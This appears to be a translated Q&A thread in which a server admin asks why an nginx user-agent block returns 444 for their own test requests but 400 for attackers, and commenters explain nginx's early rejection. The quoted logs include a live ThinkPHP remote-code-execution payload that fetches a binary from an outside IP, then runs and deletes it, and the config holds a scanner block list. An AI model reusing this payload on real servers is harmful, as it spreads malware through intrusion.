Как заблокировать уязвимость удаленного выполнения кода Nginx?

#security #nginx #bots

#Безопасность #nginx #боты

Вопрос:

Я получаю странные запросы к моему nginx, которые пытаются выполнить php-код, хотя у меня не установлен php.

Я использую docker compose для запуска своего приложения, состоящего из 5 частей:

  • dm-gateway — nginx: 1.19.2 как обратный прокси
  • ключевые параметры / pm2: 12-alpine для запуска angular
  • openjdk: 8-jdk-alpine для запуска Java-приложения
  • mysql: 8.0
  • certbot

Я настроил nginx на возврат 444 при наличии заголовка Uirusu.

 if ($http_user_agent ~* "puzzles|Uirusu|zgrab|ZmEu") {
      return 444;
}
  

Когда я вызываю базовый URL-адрес из postman или curl, правило работает так, как ожидалось. Я вижу следующий журнал с кодом состояния 444:

 dm-gateway *.*.114.126 - - [10/Oct/2020:10:32:04  0000] "GET / HTTP/1.1" 444 0 "-" "Uirusu/2.0"
  

Недавно, проанализировав свои журналы, я все еще заметил наличие кода состояния 400, когда кто-то звонит мне с помощью user agent Uirusu.

 dm-gateway | 197.44.170.84 - - [10/Oct/2020:10:52:18  0000] "GET /index.php?s=/index/x09hinkx07pp/invokefunctionamp;function=call_user_func_arrayamp;vars[0]=shell_execamp;vars[1][]='wget http://89.248.168.215/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 150 "-" "Uirusu/2.0"
  

Я даже пытался выполнить тот же URL-адрес самостоятельно, чтобы проверить его, и он блокируется, как и ожидалось. На самом деле он возвращает 444 правильно.

 dm-gateway | 2.233.114.126 - - [10/Oct/2020:11:05:33  0000] "GET /index.php?s=/index/x09hinkx07pp/invokefunctionamp;function=call_user_func_arrayamp;vars[0]=shell_execamp;vars[1][]='wget http://89.248.168.215/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 444 0 "-" "Uirusu/2.0"
  

Я также заметил разницу в журнале между вызовами, выполняемыми мной и кем-то другим. Мои вызовы отображаются как «url-кодированный».

Я также проверил порты с помощью netstat -lntp

 root@dm:/var/app# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      513/systemd-resolve 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      583/sshd: /usr/sbin 
tcp6       0      0 :::443                  :::*                    LISTEN      357727/docker-proxy 
tcp6       0      0 :::3306                 :::*                    LISTEN      357778/docker-proxy 
tcp6       0      0 :::80                   :::*                    LISTEN      357766/docker-proxy 
tcp6       0      0 :::22                   :::*                    LISTEN      583/sshd: /usr/sbin
  

Я вроде как заблокирован здесь. Я не могу понять, почему вызовы, сделанные мной, блокируются правильно, а кем-то другим нет?

Комментарии:

1. Ну, ваш Nginx должен обработать запрос, прежде чем он сможет вернуть статус 444. 400 означает «неверный запрос», поэтому он был отклонен до того, как Nginx решит его обработать.

2. но какое приложение отклонило его? Я использую Ubuntu 20.04 LTS, но поскольку я вижу 400 в журнале nginx, кажется, что вызов поступил на nginx, и вместо 444 был возвращен неверный запрос

3. Nginx получил запрос и решил, что он недействителен, поэтому решил отклонить его, прежде чем пытаться сопоставить его с одним из ваших server блоков.